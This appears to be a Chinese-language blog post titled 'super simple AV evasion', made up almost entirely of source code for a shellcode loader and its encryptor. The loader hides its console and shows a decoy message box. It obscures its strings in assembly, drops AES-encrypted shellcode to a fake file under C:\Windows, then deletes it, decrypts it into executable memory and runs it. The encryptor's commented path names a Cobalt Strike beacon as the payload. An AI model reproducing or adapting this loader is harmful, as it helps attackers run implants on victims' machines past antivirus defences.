超简单免杀

超简单免杀

Runme

#include <cstdio>
#include <vector>
#include <iostream>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <stdbool.h>	

#include "AES.h"
#include "output.h"
#include "shellcode.h"

#define STRMAX 30
#define SECOND 1000

pStringBuilderFuncs pFuncOfBuilder;

void WriteInFile()
{
    char wb[STRMAX];
    char pathname[STRMAX];
    pFuncOfBuilder->pBuild_wb(wb);
    pFuncOfBuilder->pBuild_WindowsFake(pathname);
    FILE* f = fopen(pathname, wb);
    fwrite(buffer, buffer_len, 1, f);
    fclose(f);
    Sleep(1000);
    return;
}

int main(int argc, char* argv[])
{
    pFuncOfBuilder = (pStringBuilderFuncs)malloc(sizeof(StringBuilderFuncs));
    InitBuilder(pFuncOfBuilder);

    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    char helloworld[STRMAX];
    char fromme[STRMAX];
    pFuncOfBuilder->pBuild_Hello_world(helloworld);
    pFuncOfBuilder->pBuild_from_me(fromme);

    MessageBoxA(NULL, helloworld, fromme, MB_OKCANCEL);

    unsigned char key[16] = { 
        0x09, 0x0E, 0x0B, 0x0D,
        0x0D, 0x09, 0x0E, 0x0B,
        0x0B, 0x0D, 0x09, 0x0E,
        0x0E, 0x0B, 0x0D, 0x09 
    };

    DWORD ThreadId;
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WriteInFile, 0, 0, &ThreadId);
    Sleep(5 * SECOND);

    FILE* f = NULL;
    DWORD Size;
    PBYTE OBuffer;
    PBYTE RunBuffer;
    
    char rb[STRMAX];
    char pathname[STRMAX];
    pFuncOfBuilder->pBuild_WindowsFake(pathname);
    pFuncOfBuilder->pBuild_rb(rb);
    f = fopen(pathname, rb);
    Size = buffer_len;
    OBuffer = (PBYTE)VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RunBuffer = (PBYTE)VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    fread(OBuffer, Size, 1, f);
    fclose(f);
    DeleteFileA(pathname);

    De_AES(OBuffer, Size, key, RunBuffer);

    FARPROC EOP = (FARPROC)((LPBYTE)RunBuffer);
    EOP();
    return 0;
}

#include"shellcode.h"

void InitBuilder(pStringBuilderFuncs pFuncOfBuilder)
{
	pFuncOfBuilder->pBuild_WindowsFake = (PFN_Build_WindowsFake)CopyFunctionToHeap((void*)Build_WindowsFake, 256);
	pFuncOfBuilder->pBuild_Hello_world = (PFN_Build_Hello_world)CopyFunctionToHeap((void*)Build_Hello_world, 256);
	pFuncOfBuilder->pBuild_from_me = (PFN_Build_from_me)CopyFunctionToHeap((void*)Build_from_me, 256);
	pFuncOfBuilder->pBuild_wb = (PFN_Build_wb)CopyFunctionToHeap((void*)Build_wb, 256);
	pFuncOfBuilder->pBuild_rb = (PFN_Build_rb)CopyFunctionToHeap((void*)Build_rb, 256);
	pFuncOfBuilder->pBuild_percent_x = (PFN_Build_percent_x)CopyFunctionToHeap((void*)Build_percent_x, 256);
	pFuncOfBuilder->pBuild_ThisIsFakeFlag = (PFN_Build_ThisIsFakeFlag)CopyFunctionToHeap((void*)Build_ThisIsFakeFlag, 256);

}

// 通过查找 ret (0xC3) 指令来确定函数结束位置
static void* CopyFunctionToHeap(void* funcAddr, SIZE_T maxSize) {
	BYTE* src = (BYTE*)funcAddr;
	// 查找 ret 指令 (0xC3) 或 ret n (0xC2 nn nn)
	SIZE_T funcSize = 0;
	for (SIZE_T i = 0; i < maxSize; i++) {
		if (src[i] == 0xC3) { // ret
			funcSize = i + 1;
			break;
		}
		else if (src[i] == 0xC2 && i + 2 < maxSize) { // ret n
			funcSize = i + 3;
			break;
		}
	}
	if (funcSize == 0) funcSize = maxSize; // 如果找不到，使用最大大小

	void* heapFunc = VirtualAlloc(NULL, funcSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!heapFunc) return NULL;
	memcpy(heapFunc, funcAddr, funcSize);
	return heapFunc;
}

wchar_t toLowerAsciiW(wchar_t c)
{
	return (c >= L'A' && c <= L'Z') ? (c + (wchar_t)32) : c;
}

int wcsicmp_ascii_inline(const wchar_t* a, const wchar_t* b)
{
	while (*a && *b) {
		wchar_t ca = toLowerAsciiW(*a++);
		wchar_t cb = toLowerAsciiW(*b++);
		if (ca != cb) return (ca < cb) ? -1 : 1;
	}
	if (*a == *b) return 0;
	return *a ? 1 : -1;
}

// Inline ASCII-only case-insensitive narrow string compare
char toLowerAscii(char c)
{
	return (c >= 'A' && c <= 'Z') ? (char)(c + 32) : c;
}

int stricmp_ascii_inline(const char* a, const char* b)
{
	while (*a && *b) {
		char ca = toLowerAscii(*a++);
		char cb = toLowerAscii(*b++);
		if (ca != cb) return (ca < cb) ? -1 : 1;
	}
	if (*a == *b) return 0;
	return *a ? 1 : -1;
}

// ROR13-style ASCII (case-insensitive) hash for export names
unsigned int ror32(unsigned int v, unsigned int r)
{
	return (v >> r) | (v << (32 - r));
}

unsigned int hash_accumulate_ascii_ci(unsigned int h, char c)
{
	char u = c;
	if (u >= 'a' && u <= 'z') u = (char)(u - 32);
	return ror32(h, 13) + (unsigned char)u;
}

unsigned int hash_ascii_ci(const char* s)
{
	unsigned int h = 0;
	if (!s) return 0;
	for (const char* p = s; *p; ++p) {
		h = hash_accumulate_ascii_ci(h, *p);
	}
	return h;
}
unsigned int hash_literal_ci_runtime(const char* s)
{
	if (!s) return 0;
	char tmp[64];
	unsigned int i = 0;
	for (; i < sizeof(tmp) - 1 && s[i]; ++i) {
		tmp[i] = s[i];
	}
	tmp[i] = '\0';
	return hash_ascii_ci(tmp);
}
void* resolve_export_by_hash(HMODULE moduleBase, unsigned int targetHash)
{
	if (!moduleBase) return NULL;
	BYTE* base = (BYTE*)moduleBase;
	PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
	if (!dos || dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
	PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
	if (!nt || nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
	IMAGE_DATA_DIRECTORY expDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
	if (!expDir.VirtualAddress || !expDir.Size) return NULL;
	PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(base + expDir.VirtualAddress);
	DWORD* nameRVAs = (DWORD*)(base + exp->AddressOfNames);
	WORD* ordinals = (WORD*)(base + exp->AddressOfNameOrdinals);
	DWORD* funcRVAs = (DWORD*)(base + exp->AddressOfFunctions);

	for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
		const char* name = (const char*)(base + nameRVAs[i]);
		if (!name) continue;
		unsigned int h = 0;
		for (const char* p = name; *p; ++p) {
			h = hash_accumulate_ascii_ci(h, *p);
		}
		if (h == targetHash) {
			WORD ord = ordinals[i];
			DWORD funcRva = funcRVAs[ord];
			return (void*)(base + funcRva);
		}
	}
	return NULL;
}

#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "AES.h"
unsigned int big_box[] = {
    0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000,
    0x1B000000, 0x36000000
};
//unsigned char Sbox[] = {
//    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
//    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
//    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
//    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
//    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
//    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
//    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
//    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
//    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
//    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
//    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
//    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
//    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
//    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
//    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
//    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
//};

unsigned char Sbox[513] = {
    0xA7, 0xB8, 0x36, 0xAF, 0x0E, 0x46, 0x3E, 0x9D, 0xCD, 0x47, 0xDF, 0xAA, 0x97, 0x15, 0xE4, 0x38,
    0x6B, 0x66, 0x04, 0xB6, 0xEF, 0xA3, 0xB2, 0x6F, 0xFD, 0x7A, 0x0B, 0x9C, 0x77, 0x12, 0x40, 0xEB,
    0x94, 0xF8, 0x81, 0x3D, 0xD4, 0x3B, 0x78, 0x72, 0xB5, 0x1C, 0xF0, 0x61, 0x2F, 0xE3, 0xC3, 0xD6,
    0x31, 0xFC, 0x4B, 0x84, 0x41, 0xF7, 0x3F, 0x6E, 0x5E, 0xC1, 0x07, 0xE7, 0x08, 0x33, 0xE2, 0x57,
    0xA6, 0x68, 0xBD, 0x20, 0x2E, 0x30, 0xCC, 0x6A, 0x2D, 0x43, 0x1B, 0xEC, 0xCB, 0xE9, 0xD2, 0x7F,
    0x23, 0x0C, 0x49, 0x11, 0x24, 0xF6, 0x8D, 0xC2, 0x48, 0x65, 0x7B, 0x22, 0x25, 0x3C, 0xAD, 0x1D,
    0x02, 0x70, 0xEA, 0xE1, 0xCA, 0x32, 0xA2, 0x71, 0xD3, 0x80, 0x28, 0xD7, 0x4C, 0x54, 0x18, 0x8B,
    0x42, 0x05, 0xA5, 0xF1, 0x8F, 0x79, 0x2C, 0x19, 0x1A, 0x9A, 0x82, 0x2A, 0xA0, 0x99, 0x00, 0x63,
    0x7C, 0xD0, 0xCF, 0x1F, 0xBA, 0xF9, 0xDD, 0xB7, 0x93, 0x7D, 0xD9, 0x5A, 0xB0, 0xDB, 0x4F, 0x4E,
    0xC8, 0x09, 0x53, 0x9B, 0x45, 0xA4, 0xEE, 0xE6, 0xBC, 0x7E, 0x62, 0xD8, 0xFA, 0xB4, 0xC7, 0x8C,
    0x86, 0xAC, 0x4D, 0xC9, 0x4A, 0x50, 0x5C, 0xD5, 0x8A, 0x6D, 0xF3, 0xA9, 0xE0, 0x98, 0xFE, 0xCE,
    0x91, 0x0A, 0xDA, 0x5F, 0x90, 0x74, 0x5D, 0x85, 0x51, 0x55, 0x17, 0x06, 0xBE, 0xA1, 0x92, 0xA8,
    0x03, 0xC0, 0x52, 0xDC, 0x39, 0x73, 0xFB, 0xF2, 0x67, 0x95, 0x59, 0x56, 0x2B, 0x14, 0x89, 0x87,
    0x21, 0x35, 0xF5, 0xD1, 0x44, 0x26, 0x76, 0xB1, 0xC6, 0xBB, 0x5B, 0x6C, 0x1E, 0xE5, 0x37, 0x16,
    0x88, 0x8E, 0x0F, 0xAE, 0x27, 0xED, 0xFF, 0x96, 0x60, 0x58, 0x10, 0x69, 0x13, 0x3A, 0xC5, 0xF4,
    0x9E, 0x64, 0xE8, 0xDE, 0x75, 0x9F, 0xC4, 0x29, 0xAB, 0x01, 0xB3, 0xBF, 0x83, 0x34, 0x0D, 0xB9,
    0xA7
};

unsigned char InSbox[256];

char en3_box[16] = {
    2, 3, 1, 1,
    1, 2, 3, 1,
    1, 1, 2, 3,
    3, 1, 1, 2
};

char de3_box[16] = {
    0x0E, 0x0B, 0x0D, 0x09,
    0x09, 0x0E, 0x0B, 0x0D,
    0x0D, 0x09, 0x0E, 0x0B,
    0x0B, 0x0D, 0x09, 0x0E
};

#define BYTE0(x)    ((unsigned char)(((x) >> 0) & 0xFF))
#define BYTE1(x)    ((unsigned char)(((x) >> 8) & 0xFF))
#define BYTE2(x)    ((unsigned char)(((x) >> 16) & 0xFF))
#define BYTE3(x)    ((unsigned char)(((x) >> 24) & 0xFF))

uint32_t byteswapulong(char* a)
{
    return (uint32_t)((a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3]);
}

void exkey(char* buf, int n16, unsigned int* ex_key)
{
    unsigned int* ex_key_1;
    unsigned int* v8;
    unsigned int* v9;

    if (buf && ex_key && n16 == 16)
    {
        ex_key_1 = ex_key;
        v9 = ex_key + 44;
        for (int i = 0; i < 4; ++i)
            ex_key[i] = byteswapulong(&buf[4 * i]);
        for (int j = 0; j < 10; ++j)
        {
            ex_key_1[4] = big_box[j] ^ Sbox[BYTE3(ex_key_1[3])] ^ (Sbox[BYTE0(ex_key_1[3])] << 8) ^ (Sbox[BYTE1(ex_key_1[3])] << 16) & 0xFF0000 ^ (Sbox[BYTE2(ex_key_1[3])] << 24) ^ *ex_key_1;
            ex_key_1[5] = ex_key_1[4] ^ ex_key_1[1];
            ex_key_1[6] = ex_key_1[5] ^ ex_key_1[2];
            ex_key_1[7] = ex_key_1[6] ^ ex_key_1[3];
            ex_key_1 += 4;
        }
        v8 = ex_key + 40;
        for (int k = 0; k < 11; ++k)
        {
            for (int m = 0; m < 4; ++m)
                v9[m] = v8[m];
            v8 -= 4;
            v9 += 4;
        }
    }
}

void exinput(unsigned char* buf, unsigned char* input)
{
    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            buf[4 * j + i] = *input++;;
}

void exoutput(unsigned char* buf, unsigned char* out)
{
    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            *out++ = buf[4 * j + i];
}

void en1(unsigned char* buf)
{
    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            buf[4 * i + j] = Sbox[buf[4 * i + j]];
}

void en2(unsigned char* buf)
{
    unsigned char a[4];

    memset(a, 0, sizeof(a));
    for (int i = 0; i < 4; ++i)
    {
        for (int j = 0; j < 4; j++)
            a[(j + 4 - i) % 4] = buf[4 * i + j];
        for (int j = 0; j < 4; j++)
            buf[4 * i + j] = a[j];
    }
}

char en3_cry(char a1, char a2)
{
    int v5;

    char v3 = 0;
    for (int i = 0; i < 8; ++i)
    {
        if ((a1 & 1) != 0)
            v3 ^= a2;
        v5 = a2 & 0x80;
        a2 *= 2;
        if (v5)
            a2 ^= 0x1Bu;
        a1 = a1 >> 1;
    }
    return v3;
}

void en3(unsigned char* buf)
{
    char v5;
    char v6;
    char v7;
    char v9[16];

    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            v9[4 * i + j] = buf[4 * i + j];

    for (int k = 0; k < 4; ++k)
    {
        for (int m = 0; m < 4; ++m)
        {
            v5 = en3_cry(en3_box[4 * k], v9[m]);
            v6 = en3_cry(en3_box[4 * k + 1], v9[m + 4]) ^ v5;
            v7 = en3_cry(en3_box[4 * k + 2], v9[m + 8]) ^ v6;
            buf[4 * k + m] = en3_cry(en3_box[4 * k + 3], v9[m + 12]) ^ v7;
        }
    }
}

void en4(unsigned char* buf, unsigned int* ex_key)
{
    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            buf[4 * i + j] ^= ex_key[j] >> (8 * (3 - i));
}

void En_AES(unsigned char* input, unsigned int i, unsigned char* key, unsigned char* output)
{
    unsigned int j;
    int k;
    unsigned char* buf_1;
    unsigned char* inputa;
    unsigned char ex_input[16];
    unsigned int ex_key[92];
    unsigned int* ex_key_1;
    char key01[32];

    inputa = input;
    buf_1 = output;
    ex_key_1 = ex_key;
    memset(key01, 0, sizeof(key01));
    memset(ex_input, 0, sizeof(ex_input));
    if (key && input && output && !(i % 0x10))
    {
        memcpy(key01, key, 0x10uLL);
        exkey(key01, 16, ex_key);
        for (j = 0; j < i; j += 16)
        {
            exinput(ex_input, inputa);
            en4(ex_input, ex_key);
            for (k = 1; k < 10; ++k)
            {
                ex_key_1 += 4;
                en1(ex_input);
                en2(ex_input);
                en3(ex_input);
                en4(ex_input, ex_key_1);
            }
            en1(ex_input);
            en2(ex_input);
            en4(ex_input, ex_key_1 + 4);
            exoutput(ex_input, buf_1);
            buf_1 += 16;
            inputa += 16;
            ex_key_1 = ex_key;
        }
    }
}

void MakeInSBpx()
{
    for (int i = 0; i < 256; i++)
    {
        InSbox[Sbox[i]] = i;
    }
}

void de1(unsigned char* a1)
{
    for (int i = 0; i <= 3; ++i)
        for (int j = 0; j <= 3; ++j)
            a1[4 * i + j] = InSbox[a1[4 * i + j]];
}

void de2(unsigned char* a1) {
    unsigned char a[4] = { 0 };
    unsigned char t[4] = { 0 };
    int r, c;

    for (int i = 1; i < 4; ++i) {
        for (int j = 0; j < 4; j++)
        {
            a[j] = a1[4 * i + j];

        }
        for (int j = 0; j < 4; j++)
        {
            a1[4 * i + j] = a[(j + 4 - i) % 4];
        }

    }
}

void de3(unsigned char* a1) {
    char check[16] = { 0 };
    for (int c = 0; c < 16; c++)
    {
        if (a1[c] == 0) {
            check[c] = 1;
            a1[c] = 1;
        }
    }
    unsigned char v6[16] = { 0 };
    strncpy((char*)v6, (char*)a1, 16);
    for (int cc = 0; cc < 16; cc++) {
        if (check[cc] == 1) {
            v6[cc] = 0;
        }
    }

    int i, j, k, m;
    int v1 = 0;
    int v2 = 0, v3 = 0, v4 = 0;
    int mi;
    for (k = 0; k <= 3; ++k)
    {
        for (m = 0; m <= 3; ++m)
        {
            a1[4 * k + m] = en3_cry(de3_box[4 * k], v6[m]) ^ en3_cry(de3_box[4 * k + 1], v6[4 + m]) ^ en3_cry(de3_box[4 * k + 2], v6[8 + m]) ^ en3_cry(de3_box[4 * k + 3], v6[12 + m]);
        }
    }
}

void de4(unsigned char* buf, unsigned int* ex_key)
{
    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            buf[4 * i + j] ^= ex_key[j] >> (8 * (3 - i));
}

void De_AES(unsigned char* input, unsigned int i, unsigned char* key, unsigned char* output)
{
    unsigned int j;
    int k;
    unsigned char* buf_1;
    unsigned char* inputa;
    unsigned char ex_input[16];
    unsigned int ex_key[92];
    unsigned int* ex_key_1;
    char key01[32];

    MakeInSBpx();

    inputa = input;
    buf_1 = output;
    ex_key_1 = ex_key;
    memset(key01, 0, sizeof(key01));
    memset(ex_input, 0, sizeof(ex_input));
    if (key && input && output && !(i % 0x10))
    {
        memcpy(key01, key, 0x10uLL);
        exkey(key01, 16, ex_key);
        for (j = 0; j < i; j += 16)
        {
            exinput(ex_input, inputa);
            ex_key_1 += 40;
            de4(ex_input, ex_key_1);
            de2(ex_input);
            de1(ex_input);
            for (k = 1; k < 10; ++k)
            {
                ex_key_1 -= 4;
                de4(ex_input, ex_key_1);
                de3(ex_input);
                de2(ex_input);
                de1(ex_input);
            }
            de4(ex_input, ex_key_1 - 4);
            exoutput(ex_input, buf_1);
            buf_1 += 16;
            inputa += 16;
            ex_key_1 = ex_key;
        }
    }
}

; ============================
;  String Builder Functions
;  所有字符串构建函数（合并版）
; ============================
.CODE
; ---- Build "C:\Windows\WindowsFake.txt" ----
Build_WindowsFake PROC
    mov BYTE PTR [rcx], 'C'
    mov BYTE PTR [rcx+1], ':'
    mov BYTE PTR [rcx+2], '\'   
    mov BYTE PTR [rcx+3], 'W'
    mov BYTE PTR [rcx+4], 'i'
    mov BYTE PTR [rcx+5], 'n'
    mov BYTE PTR [rcx+6], 'd'
    mov BYTE PTR [rcx+7], 'o'
    mov BYTE PTR [rcx+8], 'w'
    mov BYTE PTR [rcx+9], 's'
    mov BYTE PTR [rcx+10], '\' 
    mov BYTE PTR [rcx+11], 'W'
    mov BYTE PTR [rcx+12], 'i'
    mov BYTE PTR [rcx+13], 'n'
    mov BYTE PTR [rcx+14], 'd'
    mov BYTE PTR [rcx+15], 'o'
    mov BYTE PTR [rcx+16], 'w'
    mov BYTE PTR [rcx+17], 'F'
    mov BYTE PTR [rcx+18], 'a'
    mov BYTE PTR [rcx+19], 'k'
    mov BYTE PTR [rcx+20], 'e'
    mov BYTE PTR [rcx+21], '.'
    mov BYTE PTR [rcx+22], 't'
    mov BYTE PTR [rcx+23], 'x'
    mov BYTE PTR [rcx+24], 't'
    mov BYTE PTR [rcx+25], 0      
    ret
Build_WindowsFake ENDP

; ---- Build "Hello_world" ----
Build_Hello_world PROC
    mov BYTE PTR [rcx], 'H'
    mov BYTE PTR [rcx+1], 'e'
    mov BYTE PTR [rcx+2], 'l'
    mov BYTE PTR [rcx+3], 'l'
    mov BYTE PTR [rcx+4], 'o'
    mov BYTE PTR [rcx+5], '_'
    mov BYTE PTR [rcx+6], 'w'
    mov BYTE PTR [rcx+7], 'o'
    mov BYTE PTR [rcx+8], 'r'
    mov BYTE PTR [rcx+9], 'l'
    mov BYTE PTR [rcx+10], 'd'
    mov BYTE PTR [rcx+11], 0
    ret
Build_Hello_world ENDP

; ---- Build "from me" ----
Build_from_me PROC
    mov BYTE PTR [rcx], 'f'
    mov BYTE PTR [rcx+1], 'r'
    mov BYTE PTR [rcx+2], 'o'
    mov BYTE PTR [rcx+3], 'm'
    mov BYTE PTR [rcx+4], ' '
    mov BYTE PTR [rcx+5], 'm'
    mov BYTE PTR [rcx+6], 'e'
    mov BYTE PTR [rcx+7], 0
    ret
Build_from_me ENDP

; ---- Build "wb" ----
Build_wb PROC
    mov BYTE PTR [rcx], 'w'
    mov BYTE PTR [rcx+1], 'b'
    mov BYTE PTR [rcx+2], 0
    ret
Build_wb ENDP

; ---- Build "rb" ----
Build_rb PROC
    mov BYTE PTR [rcx], 'r'
    mov BYTE PTR [rcx+1], 'b'
    mov BYTE PTR [rcx+2], 0
    ret
Build_rb ENDP

; ---- Build "%x" ----
Build_percent_x PROC
    mov BYTE PTR [rcx], '%'
    mov BYTE PTR [rcx+1], 'x'
    mov BYTE PTR [rcx+2], 0
    ret
Build_percent_x ENDP

; ---- Build "ThisIsFakeFlag!" ----
Build_ThisIsFakeFlag PROC
    mov BYTE PTR [rcx], 'T'
    mov BYTE PTR [rcx+1], 'h'
    mov BYTE PTR [rcx+2], 'i'
    mov BYTE PTR [rcx+3], 's'
    mov BYTE PTR [rcx+4], 'I'
    mov BYTE PTR [rcx+5], 's'
    mov BYTE PTR [rcx+6], 'F'
    mov BYTE PTR [rcx+7], 'a'
    mov BYTE PTR [rcx+8], 'k'
    mov BYTE PTR [rcx+9], 'e'
    mov BYTE PTR [rcx+10], 'F'
    mov BYTE PTR [rcx+11], 'l'
    mov BYTE PTR [rcx+12], 'a'
    mov BYTE PTR [rcx+13], 'g'
    mov BYTE PTR [rcx+14], '!'
    mov BYTE PTR [rcx+15], 0
    ret
Build_ThisIsFakeFlag ENDP

END

Encry

#include <cstdio>
#include <vector>
#include <iostream>
#include <string>
#include "AES.h"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <windows.h>

void get_output_path(char* outPath, size_t size)
{
    char exePath[MAX_PATH] = { 0 };
    char dirPath[MAX_PATH] = { 0 };

    // 获取当前可执行文件路径，例如 C:\xxx\yourprogram.exe
    GetModuleFileNameA(NULL, exePath, MAX_PATH);

    // 取目录
    char* p = strrchr(exePath, '\\');
    if (p) {
        *p = '\0';  // 将 exe 名字截掉，只保留目录，例如 C:\xxx
    }

    // 拼接你要的路径
    snprintf(outPath, size,
        "%s\\miansha01\\DecryExe\\output.h",
        exePath
        );
}
/**
 * 将二进制数据写为 C 头文件
 * path: 输出文件路径（例如 "output.h"）
 * data: 数据指针
 * len:  数据长度（字节）
 * varname: 生成的变量名（例如 "buffer"）
 *
 * 返回 0 成功，非0为失败
 */
int write_binary_as_c_header(const char* path, const unsigned char* data, size_t len, const char* varname)
{
    if (!path || !data || !varname) return 1;

    FILE* fp = NULL;
    #ifdef _MSC_VER
    if (fopen_s(&fp, path, "w") != 0 || !fp) return 2;
    #else
    fp = fopen(path, "w");
    if (!fp) return 2;
    #endif

    // 生成简单的 include-guard 名（把 varname 转为大写并加上 _H）
    char guard[256];
    size_t vnlen = strlen(varname);
    size_t gi = 0;
    for (size_t i = 0; i < vnlen && gi + 1 < sizeof(guard); ++i) {
        char c = varname[i];
        guard[gi++] = (char)toupper((unsigned char)c);
    }
    if (gi + 3 < sizeof(guard)) {
        guard[gi++] = '_';
        guard[gi++] = 'H';
    }
    guard[gi] = '\0';

    fprintf(fp, "#ifndef %s\n", guard);
    fprintf(fp, "#define %s\n\n", guard);

    fprintf(fp, "/* Generated by write_binary_as_c_header */\n");
    fprintf(fp, "unsigned char %s[] = {\n", varname);

    // 每行输出 20 个字节
    const int per_line = 20;
    for (size_t i = 0; i < len; ++i) {
        if (i % per_line == 0) {
            fprintf(fp, "    ");
        }
        fprintf(fp, "0x%02X", data[i]);
        if (i + 1 != len) fprintf(fp, ", ");
        if ((i + 1) % per_line == 0 || i + 1 == len) {
            fprintf(fp, "\n");
        }
    }

    fprintf(fp, "};\n\n");
    fprintf(fp, "unsigned int %s_len = %zu;\n\n", varname, len);

    fprintf(fp, "#endif /* %s */\n", guard);

    fflush(fp);
    fclose(fp);
    return 0;
}

int main(int argc, char* argv[])
{
    if (argc < 2) {
        fprintf(stderr, "用法: %s <文件路径>\n", argv[0]);
        return 1;
    }

    const char* path = argv[1];
    //const char* path = "C:\\Users\\Administrator\\Desktop\\Code\\miansha01\\x64\\Debug\\beacon_http_x64.exe";
    FILE* fp = NULL;
    errno_t err = fopen_s(&fp, path, "rb");
    if (err != 0 || fp == NULL) {
        fprintf(stderr, "无法打开文件: %s (errno=%d)\n", path, (int)err);
        return 2;
    }

    if (fseek(fp, 0, SEEK_END) != 0) {
        fprintf(stderr, "fseek 失败\n");
        fclose(fp);
        return 3;
    }

    long size = ftell(fp);
    if (size < 0) {
        fprintf(stderr, "ftell 失败\n");
        fclose(fp);
        return 4;
    }
    rewind(fp);

    char* buffer = (char*)malloc((size_t)size + 1);
    char* outbuffer = (char*)malloc((size_t)size + 1);
    if (buffer == NULL) {
        fprintf(stderr, "内存分配失败\n");
        fclose(fp);
        return 5;
    }

    size_t read = fread(buffer, 1, (size_t)size, fp);
    if (read != (size_t)size) {
        if (ferror(fp)) {
            fprintf(stderr, "读取文件时出错\n");
            free(buffer);
            fclose(fp);
            return 6;
        }
    }
    buffer[read] = '\0';

    fclose(fp);
    unsigned char key[16] = { 0x09, 0x0E, 0x0B, 0x0D,
                          0x0D, 0x09, 0x0E, 0x0B,
                          0x0B, 0x0D, 0x09, 0x0E,
                          0x0E, 0x0B, 0x0D, 0x09 };

    //48 89 54 24 10 89 4c 24 08 55 57 48
    printf("before encry: ");
    for (int i = 0; i < 10; i++)
    {
        printf("%02x ", ((unsigned char*)buffer)[i]);
    }
    printf("\n");

    En_AES((unsigned char*)buffer, (unsigned int)read, key, (unsigned char*)outbuffer);

    printf("after encry: ");
    for (int i = 0; i < 10; i++)
    {
        printf("%02x ", ((unsigned char*)outbuffer)[i]);
    }
    printf("\n");

    char finalPath[MAX_PATH];
    get_output_path(finalPath, sizeof(finalPath));

    int wrc = write_binary_as_c_header(
        finalPath,                          // 自动生成的路径
        (const unsigned char*)outbuffer,    // 数据
        read,
        "buffer"                             // 变量名
    );
    if (wrc != 0) {
        printf("写入头文件失败: %d\n", wrc);
    }

    char exePath[MAX_PATH] = { 0 };
    GetModuleFileNameA(NULL, exePath, MAX_PATH);
    char* p = strrchr(exePath, '\\');
    if (p) {
        *p = '\0';  
    }
    char outPath[MAX_PATH];
    snprintf(outPath, sizeof(outPath), "%s\\output", exePath);
    FILE* outFp = NULL;
    err = fopen_s(&outFp, outPath, "wb");
    if (err != 0 || outFp == NULL) {
        fprintf(stderr, "无法创建输出文件: %s (errno=%d)\n", outPath, (int)err);
        free(buffer);
        return 7;
    }

    size_t written = fwrite(outbuffer, 1, read, outFp);
    if (written != read) {
        fprintf(stderr, "写入 output.exe 失败: 写入 %zu / %zu 字节\n", written, read);
        fclose(outFp);
        free(buffer);
        return 8;
    }

    fclose(outFp);
